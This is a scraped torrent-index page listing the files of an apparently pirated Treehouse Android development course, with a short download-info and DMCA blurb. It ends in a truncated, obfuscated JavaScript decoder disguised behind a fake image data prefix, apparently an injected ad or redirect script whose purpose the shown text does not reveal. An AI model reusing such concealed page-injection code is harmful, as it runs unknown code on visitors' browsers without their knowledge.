TextViews/Sources.zip", "length": 4398768}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/01 What are Styles and Themes_/Sources.zip", "length": 4398568}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/06 Customizing Buttons/Sources.zip", "length": 4398568}, {"path": "04 Implementing Designs for Android/03 Using Custom Styles and Themes/02 Creating a Style/Sources.zip", "length": 4398502}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/05 Generating 9-Patch Images/Sources.zip", "length": 4397045}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/04 Customizing EditTexts/Sources.zip", "length": 4314555}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/03 Customizing TextViews/Sources.zip", "length": 4312966}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/02 Adding the Login Background Image/Sources.zip", "length": 4312793}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/03 Supporting Multiple Screens/Sources.zip", "length": 3742223}, {"path": "04 Implementing Designs for Android/02 Customizing the Login Screen/01 Hiding the Action Bar/Sources.zip", "length": 3205405}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/04 Deleting Partial Data for One Recipient/Sources.zip", "length": 3183389}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/03 Deleting the Whole Message/Sources.zip", "length": 3183389}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/02 Setting Up Tools and Importing a Project/Sources.zip", "length": 3183357}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/01 Getting Up to Speed/Sources.zip", "length": 3183357}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/02 Maintaining Scroll Position in a ListView/Sources.zip", "length": 3182744}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/01 Timing Out an Image/Sources.zip", "length": 3182204}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/05 Using Picasso to View Images from the Web/Sources.zip", "length": 3181368}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/06 Viewing Video Messages/Sources.zip", "length": 3180889}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/04 Viewing Image Messages/Sources.zip", "length": 3017535}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/03 Creating a Custom List Adapter for Messages/Sources.zip", "length": 3013568}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/02 Creating a Custom List Layout for Messages/Sources.zip", "length": 3008915}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/01 Retrieving Messages/Sources.zip", "length": 2994365}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/06 Sending the Message/Sources.zip", "length": 2991321}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/07 Displaying Our List of Friends/Sources.zip", "length": 2782264}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/06 Adding Checkmarks When the List is Loaded/Sources.zip", "length": 2778288}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/04 Selecting Friends from a List/Sources.zip", "length": 2774269}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/03 Executing a Query/Sources.zip", "length": 2773908}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/02 Setting Up a Query for Users/Sources.zip", "length": 2767358}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/01 Adding the Edit Friends Screen/Sources.zip", "length": 2766128}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/04 Modifying Fragments from the Template/Sources.zip", "length": 2763049}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/05 Understanding the Rest of the Pieces/Sources.zip", "length": 2763049}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/03 Modifying Tabs from the Template/Sources.zip", "length": 2762056}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/02 How Fragments are Used as Tabs/Sources.zip", "length": 2761502}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/01 Why Fragments_/Sources.zip", "length": 2761502}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/07 Adding a Progress Indicator/Sources.zip", "length": 2761502}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/06 Logging Out/Sources.zip", "length": 2761033}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/05 Adding a File to the Message - Part 2/Sources.zip", "length": 2760593}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/05 Logging In/Sources.zip", "length": 2759857}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/04 Creating a New User on Parse/Sources.zip", "length": 2755004}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/03 Error Messages with Dialogs/Sources.zip", "length": 2752600}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/02 Creating an Account and App on Parse.com/Sources.zip", "length": 2749636}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/04 Adding a File to the Message - Part 1/Sources.zip", "length": 2583614}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/03 Creating the Message/Sources.zip", "length": 2583099}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/02 Adding a Send Button/Sources.zip", "length": 2581421}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/01 Selecting Recipients/Sources.zip", "length": 2577627}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/09 Selecting a Video from the Gallery/Sources.zip", "length": 2565340}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/08 Selecting a Photo from the Gallery/Sources.zip", "length": 2562737}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/07 Taking a Video Using an Intent/Sources.zip", "length": 2562637}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/06 Saving a Photo to the Gallery/Sources.zip", "length": 2561988}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/05 Setting Where Photos are Saved/Sources.zip", "length": 2561175}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/04 Checking External Storage/Sources.zip", "length": 2558382}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/03 Taking a Photo Using an Intent/Sources.zip", "length": 2557376}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/02 Presenting a List of Choices in a Dialog/Sources.zip", "length": 2556528}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/01 Adding a Camera Button in the Action Bar/Sources.zip", "length": 2553923}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/08 Removing Friend Relationships/Sources.zip", "length": 2546981}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/05 Storing Friend Relationships/Sources.zip", "length": 2545574}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/02 Customizing Buttons and Labels/Sources.7z", "length": 2332848}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/03 Positioning Text Using a Linear Layout/Sources.7z", "length": 2332273}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/01 Adding an Image/Sources.7z", "length": 2331618}, {"path": "01 Build a Simple Android App/02 Learning the Language/02 Objects and Random Numbers/Sources.7z", "length": 2227170}, {"path": "01 Build a Simple Android App/02 Learning the Language/05 Simple Refactoring/Sources.7z", "length": 2227159}, {"path": "01 Build a Simple Android App/02 Learning the Language/04 Introduction to Arrays/Sources.7z", "length": 2226245}, {"path": "01 Build a Simple Android App/02 Learning the Language/03 Conditionals_ Writing an if statement/Sources.7z", "length": 2225814}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/08 Adding an OnClickListener to a Button/Sources.7z", "length": 2225755}, {"path": "01 Build a Simple Android App/02 Learning the Language/01 Comments and Empty Strings/Sources.7z", "length": 2225700}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/04 Android Setup and the Crystal Ball Project/Sources.7z", "length": 2225494}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/07 Accessing Views in Code/Sources.7z", "length": 2225197}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/05 Initial Layout/Sources.7z", "length": 2224913}, {"path": "04 Implementing Designs for Android/08 Adding Push Notifications from Parse.com/01 What is a Push Notification_/Sources.zip", "length": 1892847}, {"path": "04 Implementing Designs for Android/07 Updating Other GridViews/04 Updating the Recipients Activity/Sources.zip", "length": 1892847}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/01 What is an API_ What Does it Mean to Use One_/Sources.zip", "length": 1632528}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/08 Navigation with Back and Up/Sources.zip", "length": 1632528}, {"path": "04 Implementing Designs for Android/01 Starting with Design Mockups/04 Adding a Launcher Icon/Sources.zip", "length": 1417505}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/07 Adding the Sign Up Screen/Sources.zip", "length": 1400311}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/03 Installing and Updating Our Tools/Sources.zip", "length": 1394243}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/05 Adding the Login Screen/Sources.zip", "length": 1394243}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/04 Setting Up the Project/Sources.zip", "length": 1394243}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/06 Android Layouts in XML/Sources.zip", "length": 1394243}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/01 Introducing the Project/Sources.zip", "length": 1394243}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/02 Specifying Features of the App/Sources.zip", "length": 1394243}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/03 Congratulations!/Congratulations!.mp4", "length": 1303512}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/04 Adding a Different Icon for Older Menus/Sources.zip", "length": 979760}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/03 Easy Sharing with Intents/Sources.zip", "length": 949368}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/04 Exploring the Master-Detail Template/Sources.zip", "length": 949301}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/02 Creating a Project Using the Master-Detail Template/Sources.zip", "length": 949301}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/05 Adding More Test Data/Sources.zip", "length": 949301}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/01 Blog Reader Project Overview/Sources.zip", "length": 949301}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/03 The Model-View-Controller (MVC) Design Pattern/Sources.zip", "length": 949301}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/01 Opening a Webpage in the Browser/Sources.zip", "length": 942162}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/02 Opening a Webpage Within the App/Sources.zip", "length": 942162}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/05 Adding Secondary Data with a SimpleAdapter/Sources.zip", "length": 937090}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/01 Finishing Our AsyncTask/Sources.zip", "length": 937090}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/03 Handling Errors Using Dialogs/Sources.zip", "length": 937090}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/04 Cleaning Up Our Presentation/Sources.zip", "length": 937090}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/02 Filling Our String Array and Creating the Adapter/Sources.zip", "length": 937090}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/05 Getting JSON Data from an HTTP Request/Sources.zip", "length": 933351}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/04 What To Do When the Network is Down/Sources.zip", "length": 933351}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/06 Parsing Data Returned in JSON Format/Sources.zip", "length": 933351}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/03 Moving Work from the Main Thread to an AsyncTask/Sources.zip", "length": 930403}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/02 Requesting Data from the Web the Wrong Way/Sources.zip", "length": 930403}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/01 Trying Code and Catching Exceptions/Sources.zip", "length": 927833}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/01 Creating the Project and ListActivity/Sources.zip", "length": 927603}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/02 Handling a Lack of Data/Sources.zip", "length": 927603}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/03 Adding Data for the List/Sources.zip", "length": 927603}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/04 All About @string Resources/Sources.zip", "length": 927603}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/04 Android Setup and the Crystal Ball Project/Android Setup and the Crystal Ball Project.srt", "length": 27036}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/05 Initial Layout/Initial Layout.srt", "length": 20086}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/03 Easy Sharing with Intents/Easy Sharing with Intents.srt", "length": 18738}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/04 Publishing on Google Play/Publishing on Google Play.srt", "length": 18695}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/02 Creating an Account and App on Parse.com/Creating an Account and App on Parse.com.srt", "length": 18502}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/09 Selecting a Video from the Gallery/Selecting a Video from the Gallery.srt", "length": 18201}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/03 Creating a Custom List Adapter for Messages/Creating a Custom List Adapter for Messages.srt", "length": 17885}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/05 Adding the Login Screen/Adding the Login Screen.srt", "length": 17742}, {"path": "01 Build a Simple Android App/05 Interrogating the App/03 Debugging_ Troubleshooting Line by Line/Debugging_ Troubleshooting Line by Line.srt", "length": 17434}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/05 Setting Where Photos are Saved/Setting Where Photos are Saved.srt", "length": 17380}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/03 Moving Work from the Main Thread to an AsyncTask/Moving Work from the Main Thread to an AsyncTask.srt", "length": 17274}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/01 Retrieving Messages/Retrieving Messages.srt", "length": 17125}, {"path": "01 Build a Simple Android App/02 Learning the Language/05 Simple Refactoring/Simple Refactoring.srt", "length": 16893}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/01 Creating the Project and ListActivity/Creating the Project and ListActivity.srt", "length": 16892}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/02 The Activity Lifecycle/The Activity Lifecycle.srt", "length": 16271}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/01 Opening a Webpage in the Browser/Opening a Webpage in the Browser.srt", "length": 16195}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/01 Selecting Recipients/Selecting Recipients.srt", "length": 16011}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/04 Modifying Fragments from the Template/Modifying Fragments from the Template.srt", "length": 15121}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/04 All About @string Resources/All About @string Resources.srt", "length": 14943}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/07 Displaying Our List of Friends/Displaying Our List of Friends.srt", "length": 14675}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/01 Finishing Our AsyncTask/Finishing Our AsyncTask.srt", "length": 14550}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/03 Creating the Message/Creating the Message.srt", "length": 14351}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/04 Adding a Different Icon for Older Menus/Adding a Different Icon for Older Menus.srt", "length": 14059}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/07 Adding the Sign Up Screen/Adding the Sign Up Screen.srt", "length": 14050}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/05 Adding Secondary Data with a SimpleAdapter/Adding Secondary Data with a SimpleAdapter.srt", "length": 13849}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/04 Checking External Storage/Checking External Storage.srt", "length": 13700}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/05 Adding a File to the Message - Part 2/Adding a File to the Message - Part 2.srt", "length": 13634}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/06 Sending the Message/Sending the Message.srt", "length": 13486}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/04 Animating the Crystal Ball/Animating the Crystal Ball.srt", "length": 13382}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/05 Logging In/Logging In.srt", "length": 12797}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/03 Error Messages with Dialogs/Error Messages with Dialogs.srt", "length": 12778}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/05 Publishing on the Amazon Appstore/Publishing on the Amazon Appstore.srt", "length": 12731}, {"path": "01 Build a Simple Android App/02 Learning the Language/03 Conditionals_ Writing an if statement/Conditionals_ Writing an if statement.srt", "length": 12502}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/06 Parsing Data Returned in JSON Format/Parsing Data Returned in JSON Format.srt", "length": 12311}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/04 Creating a New User on Parse/Creating a New User on Parse.srt", "length": 12310}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/01 Adding a Shake Detector/Adding a Shake Detector.srt", "length": 12247}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/04 What To Do When the Network is Down/What To Do When the Network is Down.srt", "length": 12059}, {"path": "01 Build a Simple Android App/05 Interrogating the App/02 The Android Log/The Android Log.srt", "length": 11956}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/03 Executing a Query/Executing a Query.srt", "length": 11536}, {"path": "03 Build a Self-Destructing Message Android App/06 Sending Messages/02 Adding a Send Button/Adding a Send Button.srt", "length": 11526}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/05 Getting JSON Data from an HTTP Request/Getting JSON Data from an HTTP Request.srt", "length": 11500}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/04 Cleaning Up Our Presentation/Cleaning Up Our Presentation.srt", "length": 11463}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/01 Adding an Image/Adding an Image.srt", "length": 11356}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/03 Taking a Photo Using an Intent/Taking a Photo Using an Intent.srt", "length": 11287}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/02 Creating a Project Using the Master-Detail Template/Creating a Project Using the Master-Detail Template.srt", "length": 11269}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/01 Trying Code and Catching Exceptions/Trying Code and Catching Exceptions.srt", "length": 11046}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/02 Creating a Custom List Layout for Messages/Creating a Custom List Layout for Messages.srt", "length": 10878}, {"path": "03 Build a Self-Destructing Message Android App/03 Using Fragments for Tabs/03 Modifying Tabs from the Template/Modifying Tabs from the Template.srt", "length": 10876}, {"path": "01 Build a Simple Android App/05 Interrogating the App/01 Toast Notifications/Toast Notifications.srt", "length": 10690}, {"path": "02-1 Build a Blog Reader Android App/02 Rebuilding from Scratch/03 Adding Data for the List/Adding Data for the List.srt", "length": 10601}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/02 Setting Up a Query for Users/Setting Up a Query for Users.srt", "length": 10408}, {"path": "01 Build a Simple Android App/02 Learning the Language/04 Introduction to Arrays/Introduction to Arrays.srt", "length": 10404}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/05 Adding More Test Data/Adding More Test Data.srt", "length": 10349}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/06 Helpful Keyboard Shortcuts/Helpful Keyboard Shortcuts.srt", "length": 10233}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/03 Positioning Text Using a Linear Layout/Positioning Text Using a Linear Layout.srt", "length": 10219}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/07 Adding Parse as a Third-Party Library/Adding Parse as a Third-Party Library.srt", "length": 10152}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/05 Animating the Answer/Animating the Answer.srt", "length": 10056}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/04 Exploring the Master-Detail Template/Exploring the Master-Detail Template.srt", "length": 9886}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/02 Customizing Buttons and Labels/Customizing Buttons and Labels.srt", "length": 9865}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/04 Deleting Partial Data for One Recipient/Deleting Partial Data for One Recipient.srt", "length": 9843}, {"path": "02-2 Android Tools/02 Getting Started with Genymotion/03 Creating a Genymotion Emulator/Creating a Genymotion Emulator.srt", "length": 9796}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/02 Presenting a List of Choices in a Dialog/Presenting a List of Choices in a Dialog.srt", "length": 9633}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/03 Handling Errors Using Dialogs/Handling Errors Using Dialogs.srt", "length": 9562}, {"path": "02-1 Build a Blog Reader Android App/04 Adapting Data for Display in a List/02 Filling Our String Array and Creating the Adapter/Filling Our String Array and Creating the Adapter.srt", "length": 9508}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/06 Adding Checkmarks When the List is Loaded/Adding Checkmarks When the List is Loaded.srt", "length": 9459}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/01 Adding a Launcher Icon/Adding a Launcher Icon.srt", "length": 9421}, {"path": "01 Build a Simple Android App/02 Learning the Language/02 Objects and Random Numbers/Objects and Random Numbers.srt", "length": 9343}, {"path": "01 Build a Simple Android App/03 Pretty Little Things/06 Adding Sounds/Adding Sounds.srt", "length": 9240}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/04 Setting Up the Project/Setting Up the Project.srt", "length": 9134}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/05 Storing Friend Relationships/Storing Friend Relationships.srt", "length": 9085}, {"path": "02-1 Build a Blog Reader Android App/01 Exploring the Master-Detail Template/03 The Model-View-Controller (MVC) Design Pattern/The Model-View-Controller (MVC) Design Pattern.srt", "length": 9040}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/08 Navigation with Back and Up/Navigation with Back and Up.srt", "length": 9004}, {"path": "02-1 Build a Blog Reader Android App/05 Using Intents to Display and Share Posts/02 Opening a Webpage Within the App/Opening a Webpage Within the App.srt", "length": 8971}, {"path": "02-2 Android Tools/03 Using Git for Android/06 Pulling Down GitHub Projects to Android Studio/Pulling Down GitHub Projects to Android Studio.srt", "length": 8956}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/01 What is Android Studio_/What is Android Studio_.srt", "length": 8822}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/07 Accessing Views in Code/Accessing Views in Code.srt", "length": 8611}, {"path": "02-1 Build a Blog Reader Android App/03 Getting Data from the Web/02 Requesting Data from the Web the Wrong Way/Requesting Data from the Web the Wrong Way.srt", "length": 8586}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/06 Logging Out/Logging Out.srt", "length": 8560}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/05 Getting Ready for Gravatar Images/Getting Ready for Gravatar Images.srt", "length": 8508}, {"path": "03 Build a Self-Destructing Message Android App/08 Self-Destruction/03 Deleting the Whole Message/Deleting the Whole Message.srt", "length": 8446}, {"path": "03 Build a Self-Destructing Message Android App/02 Adding Users Using Parse.com/01 What is an API_ What Does it Mean to Use One_/What is an API_ What Does it Mean to Use One_.srt", "length": 8407}, {"path": "03 Build a Self-Destructing Message Android App/07 Retrieving and Viewing Messages/04 Viewing Image Messages/Viewing Image Messages.srt", "length": 8392}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/03 Installing and Updating Our Tools/Installing and Updating Our Tools.srt", "length": 8357}, {"path": "02-2 Android Tools/02 Getting Started with Genymotion/04 Using a Genymotion Emulator/Using a Genymotion Emulator.srt", "length": 8261}, {"path": "01 Build a Simple Android App/04 Shaking Things Up/03 Running an App on a Device/Running an App on a Device.srt", "length": 8229}, {"path": "01 Build a Simple Android App/06 Sharing Your Creation/03 Getting Ready for Google Play/Getting Ready for Google Play.srt", "length": 8176}, {"path": "03 Build a Self-Destructing Message Android App/04 Relating Users in Parse.com/01 Adding the Edit Friends Screen/Adding the Edit Friends Screen.srt", "length": 7997}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/02 Setting Up a Project in Android Studio/Setting Up a Project in Android Studio.srt", "length": 7970}, {"path": "03 Build a Self-Destructing Message Android App/01 Starting the App/06 Android Layouts in XML/Android Layouts in XML.srt", "length": 7668}, {"path": "02-2 Android Tools/01 Getting Started with Android Studio/05 Fragments and Layouts/Fragments and Layouts.srt", "length": 7575}, {"path": "03 Build a Self-Destructing Message Android App/05 Capturing Photos and Videos/01 Adding a Camera Button in the Action Bar/Adding a Camera Button in the Action Bar.srt", "length": 7564}, {"path": "01 Build a Simple Android App/01 Getting Started with Android/06 Introduction to Methods and Classes/Introduction to Methods and Classes.srt", "length": 7560}, {"path": "04 Implementing Designs for Android/06 Customizing a GridView for Friends/06 Retrieving Gravatar Images/Retrieving Gravatar Images.srt", "length": 7272}, {"path": "02-2 Android Tools/03 Using Git for Android/01 Getting Started wi

Download Info

  • Tips

    “teamtreehouse.com - Android Development ® vampiri6ka” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 